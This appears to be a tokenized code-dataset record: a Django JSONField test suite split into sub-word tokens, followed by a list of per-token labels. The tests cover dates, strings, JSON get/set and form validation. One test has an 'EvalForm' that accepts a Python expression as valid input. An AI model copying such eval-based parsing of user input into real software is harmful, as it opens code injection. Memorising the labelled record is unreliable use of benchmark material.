"time", "'_", ":_", "[_", "now", "\\u", "rounded", "_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "date_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "today_", "=_", "datetime_", "._", "date_", "._", "today_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "today_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "today_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "toda", "y", "'_", ":_", "today_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "toda", "y", "'_", ":_", "today_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "datetime_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "JSO", "N", " ", "doe", "s", " ", "not", " ", "have", " ", "microsecond", " ", "preci", "sion", ",", " ", "round", " ", "to", " ", "millis", "econd", "_", "\\u\\u\\uNL\\u\\u\\u_", "now", "\\u", "rounded", "_", "=_", "now_", "._", "replace_", "(_", "microsecond_", "=_", "(_", "int_", "(_", "now_", "._", "microsecond_", ")_", "//_", "1000_", ")_", "*_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "now", "\\u", "rounded", "_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "test", "'_", ":_", "[_", "{_", "'", "test", "'_", ":_", "now_", "}_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "[_", "{_", "'", "test", "'_", ":_", "now", "\\u", "rounded", "_", "}_", "]_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "numerical", "\\u", "strings_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'\"", "555", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "555", "'_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'\"", "123.", "987", "126", "347", "891", "623", "497", "812", "64", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "123.", "987", "126", "347", "891", "623", "497", "812", "64", "'_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "date", "like", "\\u", "strings_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'{", "\"", "title", "\":", " ", "\"", "2014", "-0", "1", "-", "2", "7", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "\"}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "title", "'_", ":_", "'", "2014", "-0", "1", "-", "2", "7", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "'_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t1_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'{", "\"", "title", "\":", " ", "\"", "10", ":", "4", "2", ":", "0", "7", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "\"}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "title", "'_", ":_", "'", "10", ":", "4", "2", ":", "0", "7", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "'_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t2_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'{", "\"", "title", "\":", " ", "\"", "10", ":", "4", "2", ":", "0", "7.1", "23", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "\"}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "title", "'_", ":_", "'", "10", ":", "4", "2", ":", "0", "7.1", "23", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "'_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t3_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t4_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'{", "\"", "title", "\":", " ", "\"", "2014", "-0", "5", "-0", "7", "T1", "2", ":", "3", "4", ":", "56", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "\"}'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "title", "'_", ":_", "'", "2014", "-0", "5", "-0", "7", "T1", "2", ":", "3", "4", ":", "56", " ", "|", " ", "Tit", "le", " ", "with", " ", "date", "'_", "}_", ",_", "Test_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "t4_", "._", "pk_", ")_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "set\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "{_", "'", "test", "'_", ":_", "123_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "'", "test", "'_", ":_", "123_", "}_", ",_", "t1_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'{", "\"", "test", "\":", " ", "123", "}'_", ",_", "t1_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "''_", ",_", "t2_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"\"'_", ",_", "t2_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "None_", ",_", "t2_", "._", "json", "\\u", "null_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "null", "'_", ",_", "t2_", "._", "get", "\\u", "json", "\\u", "null", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "1_", ",_", "2_", ",_", "3_", "]_", ",_", "t3_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'[", "1", ",", " ", "2", ",", " ", "3", "]'_", ",_", "t3_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "._", "set\\u", "json", "\\u", "json_", "(_", "'[", "1", ",", " ", "2", ",", " ", "3", ",", " ", "4", ",", " ", "5", "]'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "[_", "1_", ",_", "2_", ",_", "3_", ",_", "4_", ",_", "5_", "]_", ",_", "t3_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'[", "1", ",", " ", "2", ",", " ", "3", ",", " ", "4", ",", " ", "5", "]'_", ",_", "t3_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "._", "set\\u", "json", "\\u", "json_", "(_", "123_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "123_", ",_", "t3_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "123", "'_", ",_", "t3_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "strings_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "t1_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "a", "'_", ",_", "t1_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"", "a", "\"'_", ",_", "t1_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t2_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'\"", "a", "\"'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "a", "'_", ",_", "t2_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"", "a", "\"'_", ",_", "t2_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t3_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json", "\\u", "null_", "=_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'", "a", "'_", ",_", "t3_", "._", "json", "\\u", "null_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"", "a", "\"'_", ",_", "t3_", "._", "get", "\\u", "json", "\\u", "null", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t4_", "=_", "Test_", "._", "objects_", "._", "create_", "(_", "json_", "=_", "'\"", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"", "a", "'_", ",_", "t4_", "._", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "'\"\\\\", "\\\\\"", "a", "\"'_", ",_", "t4_", "._", "get", "\\u", "json", "\\u", "json_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "formfi", "eld_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "{_", "'", "json", "'_", ":_", "'{", "\"", "asd", "f", "\":", "4", "2", "}'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f1_", "=_", "Test", "Form_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "f1_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "f1_", "._", "clean", "ed", "\\u", "data_", ",_", "{_", "'", "json", "'_", ":_", "{_", "'", "asd", "f", "'_", ":_", "42_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f2_", "=_", "Test", "Form_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "f2_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f3_", "=_", "Optio", "nal", "Form_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "f3_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "f3_", "._", "clean", "ed", "\\u", "data_", ",_", "{_", "'", "json", "'_", ":_", "None_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f4", "_", "=_", "Test", "Form_", "(_", "{_", "'", "json", "'_", ":_", "'{", "\"", "time", "\":", " ", "datetime", ".", "datetime", ".", "now", "()}", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "f4", "_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f5_", "=_", "Eval", "Form_", "(_", "{_", "'", "json", "'_", ":_", "'{", "\"", "time", "\":", " ", "datetime", ".", "datetime", ".", "now", "()}", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "f5_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f6", "_", "=_", "Model", "Form_", "(_", "{_", "'", "json", "'_", ":_", "'{", "\"", "time", "\":", " ", "datetime", ".", "datetime", ".", "now", "()}", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "f6", "_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f7", "_", "=_", "Model", "Form_", "(_", "{_", "'", "json", "'_", ":_", "'{", "\"", "time", "\":", " ", "datetime", ".", "datetime", ".", "now", "()}", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "f7", "_", "._", "is", "\\u", "valid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "JSO", "NF", "iel", "d", "Test_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "creat", "or", "\\u", "plays", "\\u", "nice\\u", "with", "\\u", "module", "\\u", "inspect_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Fro", "m", " ", "ups", "tream", ",", " ", "based", " ", "on", ":", "\\", "10", ";", " ", " ", " ", " ", "https", "://", "code", ".", "django", "project", ".", "com", "/", "tick", "et", "/", "125", "6", "8", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "correspond", "ing", " ", "patch", ":", "\\", "10", ";", " ", " ", " ", " ", "https", "://", "code", ".", "django", "project", ".", "com", "/", "changeset", "/", "506", "3", "3e", "735", "369", "4f", "f5", "4f", "14", "b0", "446", "9", "be", "379", "2f", "286", "182", "f", "\\", "10", ";", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Custom", " ", "fields", " ", "shou", "ld", " ", "play", " ", "nice", " ", "with", " ", "python", " ", "standard", " ", "module", " ", "inspect", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "users", ".", "rc", "n", ".", "com", "/", "python", "/", "download", "/", "Descrip", "tor", ".", "ht", "m", "#", "proper", "ties", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "The", " ", "custom", " ", "Creat", "or", "'", "s", " ", "non", " ", "property", " ", "like", " ", "behaviour", " ", "made", " ", "the", " ", "properties_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "invisible", " ", "for", " ", "inspection", "._", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "dict_", "(_", "inspect_", "._", "getmember", "s_", "(_", "Test_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "json", "'_", ",_", "data_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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